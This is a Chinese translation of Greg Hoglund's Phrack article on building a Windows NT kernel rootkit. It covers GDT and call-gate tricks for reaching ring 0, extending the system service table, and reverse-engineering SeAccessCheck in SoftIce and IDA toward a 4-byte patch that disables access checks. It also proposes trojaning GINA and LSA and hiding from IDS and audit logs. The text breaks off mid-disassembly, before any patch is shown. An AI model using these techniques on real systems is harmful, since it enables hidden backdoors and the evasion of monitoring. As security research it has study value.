一个修改NT内核的真实RootKit

时间:2022-12-31 07:35:14
发布日期:2003-06-16
文摘内容:
文章出处: http://www.xfocus.net/articles/200306/558.html

创建时间:2003-06-14
文章属性:翻译
文章提交:TOo2y (too2y_at_safechina.net)

------------------[  Phrack 杂志 --- 卷标 9 | 期刊 55  ]

------------------[  一个修改NT内核的真实RootKit  ]

------------------[  作者:Greg Hoglund < hoglund@ieway.com >  ]

------------------[  翻译:TOo2y < TOo2y@safechina.net >  ]


译者注:

    首先要感谢sinister和alert7,没有他们的指点和帮助我也不会这么快接触到Windows的底层内核,在此一并表示感谢。
    如果您对Linux的RootKit很感兴趣,可以访问大鹰的主页< http://e4gle.org >,那有很多精彩的资料。
    由于时间仓促及能力有限,翻译得不妥之处,还望斧正。


绪论
----

    首先,像Back Orifice和NetBus都不属于Rootkit。它们是具有和PC-Anywhere,SMS或其他的商用程序相同功能的业余版本。如果你想远程控制一台工作站,可以向微软购买一套功能强大的SMS系统。一个远程桌面/管理应用程序不是Rootkit。

    什么是Rootkit?Rootkit是修改已经存在于系统内的可执行路径并具有特洛伊功能的程序集。这些进程侵犯信任处理基础(TCB)的完整性。换句话说,Rootkit就是那些插入后门到已经存在的程序,修改或损坏已经存在的安全的系统。

- Rootkit可能会破坏一个用户在登录时的审核;
- Rootkit允许任何人登录进系统,如果他们使用一个后门密码;
- Rootkit可能会修改内核,它会允许任何人执行具有特别文件名的特权代码。

    所有的可能性无法想像,没有边际,但是有一点可以肯定的就是“RootKit”将自己与已经存在的系统结构联系起来,因此它往往是在暗地里运行的。而PC Anywhere那样的远程管理应用程序就仅仅是一个严密的应用程序。另一方面,RootKit在特定目标操作系统里修改已经存在的可执行路径。

    为了解决这点,我在这篇文章里包含了4字节的补丁给NT的内核,它会删除在NT域内的所有的对象安全限制。如果这个补丁被运用到一个活动的主域控制器(PDC)上,那么整个域的完整性将受到侵犯。如果这个补丁在不知不觉中运行了数个星期,甚至是几个月,那时你所受到的损害将是无法确定的!


基于网络的安全与Windows NT信任域
-------------------------------

    如果你对NT内核比较了解,那么你就应该知道其中的一个执行组件叫做安全参考监视器(SRM)。在DoD的红皮书中也已定义了一个“安全参考监视器”。我们现在讨论的是一个相同的话题,在红皮书中,一个安全域被一个单一的实体所管理。

引用:
    “一个单一的信任系统犹如一个单一的实体一样,通过一个单一的信任证据所接受。一个单一信任系统网络执行相关的参考监视器来加强对对象访问时所应遵循的清晰的和良好定义的网络安全政策。[DoD红皮书]”

    在NT中的说法就是主域控制器(PDC)。记住每一个系统都有本地安全和域安全。在这种情况下,我们只讨论域安全。PDC的安全参考监视器负责管理域内的所有对象。与此同时,它创建了一个单一的控制点,和一个单一信任系统网络。


如何侵犯系统的完整性
-------------------

    我知道这些都是书中的理论,但请容忍我再罗嗦一点。DoD红皮书同样定义了“信任处理基础”(TCB)。如果你是一个NT程序员,你可能曾经使用过安全特权SE_TCB_PRIVILEGE。这个特权和“担当操作系统一部分”的用户权利非常相似。你可以通过使用管理员权限来将这个安全特权添加给某一个用户。

    如果你有权担当TCB的一部分,你几乎可以做任何事情。现在在你的进程和剩下系统之间几乎没有安全措施。如果TCB不再被信任了,那么整个网络系统的完整性也已受到攻击。我将要向你展示的就是这样的一个例子,如果它被安装在一个工作站上,就会侵犯一个网络分区。如果它被安装在主域控制器上,将会侵犯整个网络的完整性。

什么是一个分区?

    红皮书将网络分成NTCB(网络信任处理基础)“分区”。在网络中的任一组件或主机可以被认为是一个“分区”,这将会方便我们的分析和讨论。

引用:
    “一个NTCB被分散为与分区相关的一些网络组件,并且NTCB部分所存在的组件也与NTCB分区相关。一个网络主机可能占有一个先前被我们认为是单机系统的TCB。这样的TCB没有必要与在主机内的NTCB分区相一致,它们拥有相同的安全周期[DoD红皮书]。”

    在一个相同的主机里,你可能拥有两个唯一的区域:TCB在传统的红皮书里被评价为受信任处理基础和NTCB。这些分区没有必要相互交迭,但是它们可以这样做。如果任何的一个组件被侵犯了,那么看上去其他的也同样被侵犯了。换句话说,如果一台主机受到了危害,那么NTCB可能也受到了危害。    

    很显然,在TCB上安装一个补丁,你必须是管理员,或拥有安装设备驱动程序的能力。为了使木马或病毒正常的执行,依靠某人的知识来安装这些补丁是很简单的事情。


设想一个exploit
--------------

    在我离题到那些严肃的混淆的技术前,思考一些基于修改NT内核的攻击。所有的一切都是因为我们已经侵犯了TCB:

1. 插入无效的数据。无效的数据可以被插入到任何的网络流中。同样可以插入一些错误数据到固定的存储系统中,可能是敏锐的时间信息等,这样可能会破坏系统的备份。这样将会侵犯系统的可靠性和完整性。

2. 修改进入的ICMP数据报。使用ICMP作为隐藏的渠道,补丁可以读取进入到核心的ICMP数据报内部的命令。

3. 修改进入的以太网数据报。在不使用任何驱动组件的情况下担当嗅探器的角色。如果它已经修改了以太网,那么同样可以发送/接收与外网的数据报。它还可以嗅探秘密的关键字。

4. 修改已经存在的动态链接库,比如wininet.dll,追踪进入的数据。

5. 修改入侵检测系统。它可以修改如Tripwire或RealSecure等程序来破坏它们的完整性,这样这些系统就无法探测到一些“污秽”的行动……

6. 修改审核系统,如系统事件日志来忽略一些事件日志消息。

    现在为了稀有的“牛排”,让我们深入研究一个实际的内核补丁。如果你已经对保护模式和全局描述符表非常了解,你可以跳过下一节。否则,穿上你旅行的靴子,前面还有很多弯曲的路要走呢!


Rings的力量
-----------

    Windows NT不像DOS或Windows 95,而是拥有自己的进程空间安全措施。每个用户模式的进程有一个被安全描述符保护的存储器空间。通常这个SD(安全描述符)由用户启动进程里的访问令牌所决定。所有对对象的访问都是通过“访问控制列表”来实现的。在Windows NT中被称为“任意访问控制”。就个人而言,我发现如果我不能了解它最基本的细节,那是很难理解其他东西的。所以在下一节里将描述使得x86结构安全成为可能的基本信息。

    首先,了解“保护模式”是非常重要的。保护模式只有通过地址映射才能被很好的了解。几乎x86的所有的扩展访问能力都是建立在存储器寻址之上了。保护模式使得你可以寻址4GB的存储空间。多任务和特权等级都是建立在存储器寻址之上的把戏。这些讨论仅仅应用于386及更高级的处理器结构。

    存储器被分为代码和数据段。在保护模式中,所有的存储器以段地址 + 偏移量的方式寻址的。相反地,在实模式下所有的东西都被翻译为一个实际的地址。在我们的讨论中,大家只关注保护模式。在保护模式中,所有的事情变得更加的复杂。我们必须先寻找段地址,然后是紧跟其后的偏移量。它被分成了两步来实现。为什么这个如此的让人感兴趣呢?那是因为几乎所有的现代操作系统都是这样工作的,并且它对exploits和病毒都是如此的重要。现在任何可移植的代码必须能够在这个舞台里正常运行。

    什么是选择器?

    选择器就是存储器段的另一个奇特的名称。存储器段通过一个表组织起来,那些表单元通常称为描述符。所以,记住一个选择器就是一个段,也就是一个描述符。它们都是一回事。

    如果你了解存储器段是怎么回事,那么你就懂得整个等式!每个存储器段首先是由一个虚拟地址(16位)加上一个地址的偏移量(32位)。一个段并不像实模式那样是一个实际的地址,但是那却是需要使用的选择器的数字。这个小数字是一个描述符表的偏移量。依次,描述符自己拥有存储器段开始处的实际的线性地址。并且,描述符拥有存储器段的访问权限。

    描述符被存储在称为全局描述符表(GDT)里。每个描述符有一个描述符特权等级(DPL),指示存储器段运行在哪个Ring中。

    可以这样说,选择器就是你的媒介物。在NT和95下,所有的选择器覆盖了整个4GB的地址空间。如果你要使用其中的某个选择器,你要遍历存储器映射从0开始到任何地方。所有的选择器都存在,并且它们被0级DPL所保护。在Windows 9x下,选择器28对应覆盖了整个4GB区域的Ring 0级;在NT下,选择器8和10达到了同样的目的。

    通过SoftIce转储GDT将构建一个类似下面的列表:

GDTBase=80036000 Limit=0x03FF

0008  Code32   00000000  FFFFFFFF  0     P   RE
0010  Data32   00000000  FFFFFFFF  0     P   RW
001B  Code32   00000000  FFFFFFFF  3     P   RE
0023  Data32   00000000  FFFFFFFF  3     P   RW
0028  TSS32    8001D000  000020AB  0     P   B
0048  Reserved 00000000  00000000  0     NP
0060  Data16   00000400  0000FFFF  3     P   RW
......

    你可以通过查看CPU的寄存器发现你当前正在使用的是哪个存储器段。寄存器SS,DS和CS表明哪个选择器正在用来指示堆栈段,代码段,和数据段。堆栈段和代码段必须处于相同的Ring级下。

    段可以和其他的段相互交迭。换句话说,可以不只一个段能够对应相同的地址空间。段可以完全被另一个所交迭,也可以只是一部分而已。所以地址范围是很重要的,但是现在我们正关注另一个可口的信息。例如,一个段同样拥有一个特权等级(DPL)。

----     ----
|    |   |    |
|    |   |    |
|    |    ----
|    |         ----
|    |        |    |
|    |        |    |
----         |    |
              |    |
               ----

什么是DLP?

    描述符特权等级,了解这一点是很重要的。每个存储段被一个特权等级所保护,通常称为“Ring”。Intel的处理器有4个等级的Ring,从0到3,但通常只是用0和3。低的Ring等级拥有更高的特权。为了访问一个存储器段,调用者必须拥有一个和被访问对象相同或更低的特权等级。当前特权等级通常称为CPL,而描述符特权等级则通常称为DPL。

    这种保护类型几乎对于任何安全结构都是必要的条件。在DOS的年代,可移植代码能够给中断创建钩子及执行任何的代码。它们可以遍历所有的存储映射空间。但是在Windows NT里我们就没有这么好的运气了!在Windows NT exploits里使用以前的技巧时却有一些不同了。最主要的问题是绝大多数的代码执行在没有访问Ring 0权限的用户模式,所以无法访问中断描述符表(IDT)或整个存储器映射。

    在NT下,对Ring 0的访问约束在添加自己选择器到GDT里的权力之下。在进入到Ring 0时,你仍然存在于保护模式下,虚拟存储器管理同样在运行。

    让我们想像你已经书写了一个病毒来修改全局描述符表(GDT)并添加一个新的描述符。新的描述符描述了一个覆盖整个存储器映射空间的存储器段,从0到FFFFFFFF___,这个描述符的DPL为0,所以它运行的任何代码都可以访问其他Ring 0的存储器段。实际上,它可以访问整个映射空间。一个描述符特权等级为0的存储器段被标记为“一致的”将会侵犯系统的完整性。在这个关系中,敏感的标签就是描述符特权等级(DPL)。如果它与其他的段相互交迭,将会同样侵犯其他存储器段。

    如果你的描述符被标记为一致的,它可以在用户模式(Ring 3)下*的调用,当然这个新的入口默默地为你打开着。只有少数IDS系统会监视这种类型的信息。现在你可以有效的安装一个后门到存储器映射空间里了。你可以运行在任何的进程令牌下,并拥有完全的对地址空间的读/写权限。这意味着可以读/写其他重要的表,比如中断表,同样可以读其他进程的保护代码,当然也可以通过病毒感染系统内的其他文件或进程。


修改安全参考监视器
-----------------

    安全参考监视器负责加强访问控制。在NT下,所有的SRM函数都由ntoskrnl.exe传递。如果这些代码的完整性受到了侵犯,那么安全参看监视器也不再是受信任的了。整个安全系统就等于失败了。

    安全参考监视器负责对任何对象的访问提出同意或否定。它参考一个进程表来获取你当前运行进程的访问令牌。然后它会比较访问令牌和对象的访问需求。每个对象都有一个安全描述(SD)。你运行的进程有一个访问令牌。比较这两个结构,SRM就可以拒绝或允许你访问这个对象。

红皮书:
    “在1972年10月,计算机安全技术计划研究所提出一份美国空军电子系统分界的报告。在报告中,一个用来加强对系统中对象访问认证关系审核的参考监视器的概念。参考监视器的概念被认为是任何提供多级安全处理措施和控制系统必须的组成部分。”

    它列出了参考确认机制必须面对的三个设计需求条件:
    1.参考确认机制必须提供篡改证据。
    2.参考确认机制必须总是被调用。
    3.参考确认机制必须足够小到经受起分析和测试,它的完全性必须被确认。

    安全参考监视器不能提供篡改证据。它可能被TCB安全特权所保护,但是我认为真正的能提供篡改证据的SRM应该使用加密机制。使用一个攻击工具如病毒或木马,一个补丁可以轻易的在TCB的环境下被安装。

    如果你对存储器映射有访问权限,你可以修改安全参考监视器。这样,你可以插入一个特别的用户ID可以随时访问的后门。但是,这并不用你去编辑用户的安全等级。你正在访问点上修改它,并不是源代码。所以,审核程序将不会通知这个问题。这只是一个可以运用到NT RootKit中的一个小技巧。

    在NT内核中有几个关键的组件。它们常常和“NT执行体”相关联。NT执行体真是一组接口定义得非常好的分散的组件。每个组件有一个定义好的接口,实际上你可以完完全全的将它替换为一个新的!只要这个新的构件实现了所有相同的接口,系统将会继续执行所有的函数,不会有任何的发现。下面是NT执行体的所有的组件:
   HAL: 硬件抽象层, HAL.DLL
   NTOSKERNL:  拥有几个组件, NTOSKRNL.EXE
      虚拟存储器管理 (VMM)
      安全参考监视器 (SRM)
      输入/输出管理器
      对象管理器
      进程线程管理器
      内核服务
      本地过程调用管理器 (Local Procedure Call)

    蓝屏发生时会列出很多模块来!系统就是一个巨大的存储器映射!

    我们将要寻找在所有这些数据中那些我们感兴趣的!许多关键数据结构与安全有密切的关系。一旦我们知道正在寻找什么,我们就会使用SoftIce四处搜寻。那些组件输出的函数在附录A中一并列出。

    使用一个类似SoftIce的工具,对SRM和其他的组件进行逆向工程是很容易的事情;)方法是非常简单的。首先,必须找到我们感兴趣的组件。它们都存在于系统存储器的某些点上……

一些关键的结构如下:
    ACL (访问控制列表), 包含ACE
    ACE (访问控制入口), 拥有一个32位的访问掩码和SID
    SID (安全标识符), 一个大的数字
    PTE (页表入口)
    SD  (安全描述符), 拥有一个自己的SID,一个组SID和一个ACL
    AT  (访问令牌)

    现在是讨论一些技巧的时候了!第一件我们要做的事就是标识出那些我们将要使用的关键数据结构。如果我们想对安全参考监视器进行逆向工程,那么我们就确信我们的SID将会在某些时候某些地点被使用……那就是SoftIce将要进入的地方。SoftIce有一个难以置信的特点就是表达式。SoftIce将会让你定义一个规则表达式来描述断点。换句话说,我可以告诉你SoftIce只有在一个特别的状况发生时它才会中止。

    例如(运行落实):

    我想SoftIce在ESI寄存器提及我的SID时中断。因为一个SID有几个字节长,我将要定义几个分开的表达式:

    bpx (ESI->0 == 0x12345678) && (ESI->4 == 0x90123456) && (ESI->8 == 0x78901234)

    上面所做的就是告诉SoftIce如过ESI寄存器指向如下数据:0x123456789012345678901234时中断。注意我是怎么使用->操作符来偏移ESI的每个字节的。

    现在,试着访问一个对象。SoftIce将会在你的SID被一个调用使用时敏捷的中断。

    现在有很多值得我们进行逆向工程的系统组件。你可能更希望对下面的组件进行研究:
    1. GINA, (GINA.DLL) 在你输入你的密码时看到的登录屏幕。
       想像如果这个组件中了木马等,一个病毒可以追踪横跨企业的密码!
    2. LSA (本地安全认证) 这就是负责查询SAM数据库的组件。
       这是一个安装RootKit密码允许你访问系统的好地方。
    3. SSDT 系统服务描述符表。
    4. GDT 全局描述符表。
    5. IDT 中断描述符表。


首先获得Ring 0特权
-----------------

    在NT下用户模式的权力是非常有限的。你的进程被当前使用的选择符限制着。进程不能简单的跳到整个存储器映射的位置。我们已经讨论过,进程必须首先装载一个选择器。你不能简单的读从0到FFF_的存储器地址空间,你只能访问你自己拥有的存储器段。

    但是这儿有一些技巧。如果进程运行在拥有“添加服务”特权的用户令牌下,你就可以创建一个你自己的调度门,随时安装之后就可以通过它运行你的Ring 0下的代码。一旦你正在运行Ring 0的代码,你就可以修改IDT或内核。这就是用户模式通常怎样访问一个Ring 0代码段。如果你不想遇到这样的麻烦,你可以在启动时负载一字节的运行在Ring 0的补丁。这就像书写一个驱动并安装,等到重启后运行一样简单。但是,安装自己的调度门却更加的迷人。

    让我们谈谈迷人吧!这个回答就是调度门。所有的由NTDLL.DLL提供的函数都是通过这个方法实现的。这就是为什么你必须调用2EH中断来制造一个调用。2Eh中断的所有函数集被认为是“本地调用接口”(NCI)。2Eh中断的功能是通过NTOSKRNL.EXE的一个函数来实现的-KiSystemService()。KiSystemService()发送这个调用到适当的代码位置。

    在你使用了一个系统调用时,你必须首先装载你要调用的函数索引到EAX寄存器中。然后,如果调用需要参数,指向参数区域的指针被保存在EDX寄存器中。中断2Eh被调用,EAX寄存器保存了返回的结果。对很多汇编程序员来说这些都是“老帽子”了。

    在内核里它是如何实现的还不是很明显。函数KiSystemService()被调用,剩下派遣这个调用的责任。KiSystemService()首先必须基于EAX的内容来决定哪个函数将被调用。而系统维持了一个这些函数的列表很它们的索引号码……如果你对它们感兴趣,SoftIce将会转储这个表。它看起来像:

:ntcall
Service table address: 80149398  Number of services:000000D4
0000  0008:8017451E  params=06  ntoskrnl!NtConnectPort+0834
0001  0008:80199C16  params=08  ntoskrnl!SeQueryAuthenticationIdToken+04B8
0002  0008:8019B3A2  params=0B  ntoskrnl!SePrivilegeObjectAuditAlarm+02B0
0003  0008:80158E50  params=02  ntoskrnl!NtAddAtom
0004  0008:80197624  params=06  ntoskrnl!NtAdjustPrivilegesToken+0422
0005  0008:80197202  params=06  ntoskrnl!NtAdjustPrivilegesToken
0006  0008:80196256  params=02  ntoskrnl!PsGetProcessExitTime+1848
0007  0008:8019620E  params=01  ntoskrnl!PsGetProcessExitTime+1800
0008  0008:8015901E  params=01  ntoskrnl!NtAllocateLocallyUniqueId
0009  0008:801592EC  params=03  ntoskrnl!NtAllocateUuids
000A  0008:8017B0F6  params=06  ntoskrnl!NtAllocateVirtualMemory
000B  0008:8011B8E4  params=03  ntoskrnl!ZwYieldExecution+08AC
......

    好了,这些信息的确非常有趣,但是这个列表是存储在系统的什么地方的呢?SoftIce又是如何读取这些信息的呢?当然这一切都是未公开的!在此我要感谢我的朋友Sri Lanka,他的关于NCI扩展的文章是如此的让人兴奋。本节我引用了很多他的研究结果。我想我的这篇文章如果没有调度门和NCI肯定是不完整的,所以我解释了很多他的工作成果。如果你想得到更多更详细的关于添加系统服务的信息,请参阅他的名为《添加新的服务到NT内核本地API》的文章。

    在你启动NT时一件有趣的事情发生了。你将会启动在NCI中的200多个函数,它们都是在NTOSKRNL.EXE中实现的。但是,一会儿其他的500多个函数被添加到了NCI中,这些函数是在WIN32K.SYS中实现的。添加新函数的事实证明在运行时注册新的函数到NCI中是可能的。

    在你输入NTCALL命令给SoftIce时,它所转储的信息叫做系统服务描述符表(SSDT)。SSDT是函数KiSystemService()用来为2Eh中断查询适当的对应函数。我们可以看到NCI是可扩展的,所以添加新的函数到这个表中肯定是可能的。

    并且在系统中实际上有多个表。WIN32K.SYS并不是添加新函数到存在的系统列表,但是创建一个完全新的包含500多个函数的表,然后将它添加到系统中。为了做到这一点,它调用系统输出的函数KeAddSystemServiceTable()。所以,所有我们要做的就是创建一个新的包含我们自己函数的表和一些相同的事情。

    还有就是添加我们的函数到存在的NCI表,但是这包括修改存储器。为了干干净净的实现我们的诡计,必须分配新的且大得足够包含已有的表和我们新添加表大小的存储空间。然后,我们必须复制已有的表到我们新的存储空间,添加我们的单元,最后调用KiSystemService()指向我们自己新的列表。


四字节补丁
---------

    课程一。不要做一些你不必要的额外的工作,这是我自己生活中的故事。在这个项目中,我首先逆向分析了RtlXXX子程序。例如,有一个叫做RtlGetOwnerSecurityDescriptor()的程序。这是一个通过已给的安全描述符返回用户SID的简单程序单元。我修改了这个程序来验证BUILTIN/Administrators组,并改变它为BUILTIN/Users组。尽管这个不定仍然工作,但是它并没有帮助我获得访问被保护文件和共享资源的权力。RTL程序仅在创建进程和线程时被调用。简言之,在下面我包含了RTLXXX的信息和不定,它将举一个工作的内核补丁的例子,这将帮助你理解我的获取一个关键内核函数的想法和过程。

    课程二。如果在课程一中你没有成功,试一试另一个函数。这次我更聪明了,决定在做任何额外工作以前在系统中设置了一些断点。因为我想获得关于文件目录的访问,所以直接瞄准了函数SeAccessCheck()。为了确信在访问一个文件时系统要调用这个函数,我给它设置了一个断点。让我惊喜的是在访问任何对象时都要调用这个函数,而不仅仅是访问文件时,同样在网络访问时要调用它。然后我测试了我的下一个类似文件访问的针对网络共享访问的补丁。我创建了一个测试目录,共享到网络上,并在目录内创建了一个文件。

    首先,文件拥有任何人完全控制的许可权。我在函数SeAccessCheck()出设置了断点,试图和文件建立一些联系。就这么一个简单的命令,这个函数被调用了三次:

Break due to BPX ntoskrnl!SeAccessCheck  (ET=2.01 seconds)
:stack
Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D1C)
=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711734)
Break due to BPX ntoskrnl!SeAccessCheck  (ET=991.32 microseconds)
:stack
Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711CB8)
=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD7116D8)
Break due to BPX ntoskrnl!SeAccessCheck  (ET=637.15 microseconds)
:stack
Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D08)
=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711720)

    其次,我设置了管理员无权访问这个文件。当我试图访问这个文件时,等到了“访问被拒绝”的消息。在显示消息之前,这个函数被调用了13次。现在我试图通过网络访问这个文件,这个函数被调用了18次。看起来拒绝访问比起允许访问要做更多的工作了。

    现在我更加聪明了,看来我已经找到了目标。再两杯弄咖啡之后,转储了SeAccessCheck()的IDA文件,并开始探索起来:

    为了更加的简单,在我的讨论中删除了一些汇编代码。如果你打算仔细研究,那需要你自己去反汇编所有的代码,我推荐IDA。开始我使用了WDAsm32,但是它不能完全反编译NTOSKRNL.EXE的二进制文件。另一方面,IDA却没有任何的问题。WDAsm32有非常不错的图形接口,但是IDA看来更可靠。就像很多工程师一样,在我的工作中我使用了很多工具,所以我推荐大家同样要安装反汇编工具。

函数和补丁:

8019A0E6 ; Exported entry 816. SeAccessCheck
8019A0E6
8019A0E6 ;
===========================================================================
8019A0E6
8019A0E6 ;         S u b r o u t i n e
8019A0E6 ; Attributes: bp-based    frame
8019A0E6
8019A0E6         public    SeAccessCheck
8019A0E6 SeAccessCheck     proc near
8019A0E6                     ; sub_80133D06+B0p ...
8019A0E6
8019A0E6 arg_0         = dword ptr  8         ; appears to point to a
                         ; Security Descriptor
8019A0E6 arg_4         = dword ptr  0Ch
8019A0E6 arg_8         = byte    ptr  10h
8019A0E6 arg_C         = dword ptr  14h
8019A0E6 arg_10         = dword ptr  18h
8019A0E6 arg_14         = dword ptr  1Ch
8019A0E6 arg_18         = dword ptr  20h
8019A0E6 arg_1C         = dword ptr  24h
8019A0E6 arg_20         = dword ptr  28h
8019A0E6 arg_24         = dword ptr  2Ch
8019A0E6
8019A0E6         push     ebp
8019A0E7         mov     ebp, esp
8019A0E9         push     ebx
8019A0EA         push     esi
8019A0EB         push     edi
8019A0EC         cmp     byte ptr [ebp+arg_1C],    0
8019A0F0         mov     ebx, [ebp+arg_C]
8019A0F3         jnz     short loc_8019A137
8019A0F5         test     ebx, 2000000h
8019A0FB         jz     short loc_8019A11D
8019A0FD         mov     eax, [ebp+arg_18]
8019A100         mov     edi, [ebp+arg_20]
8019A103         mov     ecx, ebx
8019A105         mov     eax, [eax+0Ch]
8019A108         and     ecx, 0FDFFFFFFh
8019A10E         mov     [edi],    eax
8019A110         or     ecx, eax
8019A112         mov     eax, [ebp+arg_10]
8019A115         or     eax, ecx
8019A117         mov     [edi],    ecx
8019A119         mov     [edi],    eax
8019A11B         jmp     short loc_8019A13A
8019A11D ;
===========================================================================
8019A11D
8019A11D loc_8019A11D:                 ; CODE    XREF: SeAccessCheck+15
8019A11D         mov     eax, [ebp+arg_10]
8019A120         mov     edi, [ebp+arg_20]
8019A123         or     eax, ebx
8019A125         mov     edx, [ebp+arg_24]
8019A128         mov     [edi],    eax
8019A12A         mov     al, 1
8019A12C         mov     dword ptr [edx], 0
8019A132         jmp     loc_8019A23A
8019A137 ;
===========================================================================
8019A137
8019A137 loc_8019A137:                 ; CODE    XREF: SeAccessCheck+D
8019A137         mov     edi, [ebp+arg_20]
8019A13A
8019A13A loc_8019A13A:                 ; CODE    XREF: SeAccessCheck+35
8019A13A         cmp     [ebp+arg_0], 0
8019A13E         jnz     short loc_8019A150
8019A140         mov     edx, [ebp+arg_24]
8019A143         xor     al, al
                 ; STATUS_ACCESS_DENIED not hit
                 ; under normal means
8019A145         mov     dword ptr [edx], 0C0000022h
8019A14B         jmp     loc_8019A23A
8019A150 ;
===========================================================================
8019A150
8019A150 loc_8019A150:                 ; CODE    XREF: SeAccessCheck+58
8019A150         mov     esi, [ebp+arg_4]
8019A153         cmp     dword ptr [esi], 0
8019A156         jz     short loc_8019A16E
8019A158         cmp     dword ptr [esi+4], 2
8019A15C         jge     short loc_8019A16E
8019A15E         mov     edx, [ebp+arg_24]
8019A161         xor     al, al
                 ; STATUS_BAD_IMPERSONATION_LEVEL
                 ; not normally hit
8019A163         mov     dword ptr [edx], 0C00000A5h
8019A169         jmp     loc_8019A23A
8019A16E ;
===========================================================================
8019A16E
8019A16E loc_8019A16E:                 ; CODE    XREF: SeAccessCheck+70
8019A16E                     ; SeAccessCheck+76
8019A16E         test     ebx, ebx
8019A170         jnz     short loc_8019A1A0
8019A172         cmp     [ebp+arg_10], 0
8019A176         jnz     short loc_8019A188
8019A178         mov     edx, [ebp+arg_24]
8019A17B         xor     al, al
                 ; STATUS_ACCESS_DENIED not
                 ; normally hit
8019A17D         mov     dword ptr [edx], 0C0000022h
8019A183         jmp     loc_8019A23A
8019A188 ;
===========================================================================
8019A188
8019A188 loc_8019A188:                 ; CODE    XREF: SeAccessCheck+90
8019A188         mov     eax, [ebp+arg_10]
8019A18B         xor     ecx, ecx
8019A18D         mov     edx, [ebp+arg_24]
8019A190         mov     [edi],    eax
8019A192         mov     eax, [ebp+arg_14]
8019A195         mov     [edx],    ecx
8019A197         mov     [eax],    ecx
8019A199         mov     al, 1
8019A19B         jmp     loc_8019A23A
8019A1A0 ;
===========================================================================
8019A1A0
8019A1A0 loc_8019A1A0:                 ; CODE    XREF: SeAccessCheck+8A
8019A1A0         cmp     [ebp+arg_8], 0
8019A1A4         jnz     short loc_8019A1AC
8019A1A6         push     esi
8019A1A7         call     SeLockSubjectContext
8019A1AC
8019A1AC loc_8019A1AC:                 ; CODE    XREF: SeAccessCheck+BE
8019A1AC         test     ebx, 2060000h
8019A1B2         jz     short loc_8019A1EA
8019A1B4         mov     eax, [esi]
8019A1B6         test     eax, eax
8019A1B8         jnz     short loc_8019A1BD
8019A1BA         mov     eax, [esi+8]
8019A1BD
8019A1BD loc_8019A1BD:                 ; CODE    XREF: SeAccessCheck+D2
8019A1BD         push     1
8019A1BF         push     [ebp+arg_0]
8019A1C2         push     eax
8019A1C3         call     sub_8019A376
8019A1C8         test     al, al
8019A1CA         jz     short loc_8019A1EA
8019A1CC         test     ebx, 2000000h
8019A1D2         jz     short loc_8019A1DA
8019A1D4         or     byte ptr [ebp+arg_10+2], 6
8019A1D8         jmp     short loc_8019A1E4
8019A1DA ;
===========================================================================
8019A1DA
8019A1DA loc_8019A1DA:                 ; CODE    XREF: SeAccessCheck+EC
8019A1DA         mov     eax, ebx
8019A1DC         and     eax, 60000h
8019A1E1         or     [ebp+arg_10], eax
8019A1E4
8019A1E4 loc_8019A1E4:                 ; CODE    XREF: SeAccessCheck+F2
8019A1E4         and     ebx, 0FFF9FFFFh
8019A1EA
8019A1EA loc_8019A1EA:                 ; CODE    XREF: SeAccessCheck+CC
8019A1EA                     ; SeAccessCheck+E4
8019A1EA         test     ebx, ebx
8019A1EC         jnz     short loc_8019A20C
8019A1EE         cmp     [ebp+arg_8], 0
8019A1F2         jnz     short loc_8019A1FA
8019A1F4         push     esi
8019A1F5         call     SeUnlockSubjectContext
8019A1FA
8019A1FA loc_8019A1FA:                 ; CODE    XREF: SeAccessCheck+10
8019A1FA         mov     eax, [ebp+arg_10]
8019A1FD         mov     edx, [ebp+arg_24]
8019A200         mov     [edi],    eax
8019A202         mov     al, 1
8019A204         mov     dword ptr [edx], 0
8019A20A         jmp     short loc_8019A23A
8019A20C ;
===========================================================================

    通过以上的论据,发现这个程序只是另一个函数的包装而已,让我们进行更深入的研究吧……

8019A20C
8019A20C loc_8019A20C:                 ; CODE    XREF: SeAccessCheck+106
8019A20C         push     [ebp+arg_24]
8019A20F         push     [ebp+arg_14]
8019A212         push     edi
8019A213         push     [ebp+arg_1C]
8019A216         push     [ebp+arg_10]
8019A219         push     [ebp+arg_18]
8019A21C         push     ebx
8019A21D         push     dword ptr [esi]
8019A21F         push     dword ptr [esi+8]
8019A222         push     [ebp+arg_0]
8019A225         call     sub_80199836        ; decompiled below ***
8019A22A         cmp     [ebp+arg_8], 0
8019A22E         mov     bl, al
8019A230         jnz     short loc_8019A238
8019A232         push     esi
8019A233         call     SeUnlockSubjectContext     ; not usually hit
8019A238
8019A238 loc_8019A238:                 ; CODE    XREF: SeAccessCheck+14A
8019A238         mov     al, bl
8019A23A
8019A23A loc_8019A23A:                 ; CODE    XREF: SeAccessCheck+4C
8019A23A                     ; SeAccessCheck+65 ...
8019A23A         pop     edi
8019A23B         pop     esi
8019A23C         pop     ebx
8019A23D         pop     ebp
8019A23E         retn     28h
8019A23E SeAccessCheck     endp

    子程序被SeAccessCheck所调用。看起来大多说工作都是在此完成的。我试试修改这个程序。

80199836 ;
==============================================================================
80199836
80199836 ;         S u b r o u t i n e
80199836 ; Attributes: bp-based    frame
80199836
80199836 sub_80199836     proc near         ; CODE    XREF: PAGE:80199FFA
80199836                     ; SeAccessCheck+13F ...
80199836
80199836 var_14         = dword ptr -14h
80199836 var_10         = dword ptr -10h
80199836 var_C         = dword ptr -0Ch
80199836 var_8         = dword ptr -8
80199836 var_2         = byte    ptr -2
80199836 arg_0         = dword ptr  8
80199836 arg_4         = dword ptr  0Ch
80199836 arg_8         = dword ptr  10h
80199836 arg_C         = dword ptr  14h
80199836 arg_10         = dword ptr  18h
80199836 arg_16         = byte    ptr  1Eh
80199836 arg_17         = byte    ptr  1Fh
80199836 arg_18         = dword ptr  20h
80199836 arg_1C         = dword ptr  24h
80199836 arg_20         = dword ptr  28h
80199836 arg_24         = dword ptr  2Ch
80199836
80199836         push     ebp
80199837         mov     ebp, esp
80199839         sub     esp, 14h
8019983C         push     ebx
8019983D         push     esi
8019983E         push     edi
8019983F         xor     ebx, ebx
80199841         mov     eax, [ebp+arg_8]    ; pulls eax
80199844         mov     [ebp+var_14], ebx    ; ebx is zero, looks
                            ; like it init's a
                            ; bunch of local vars
80199847         mov     [ebp+var_C], ebx
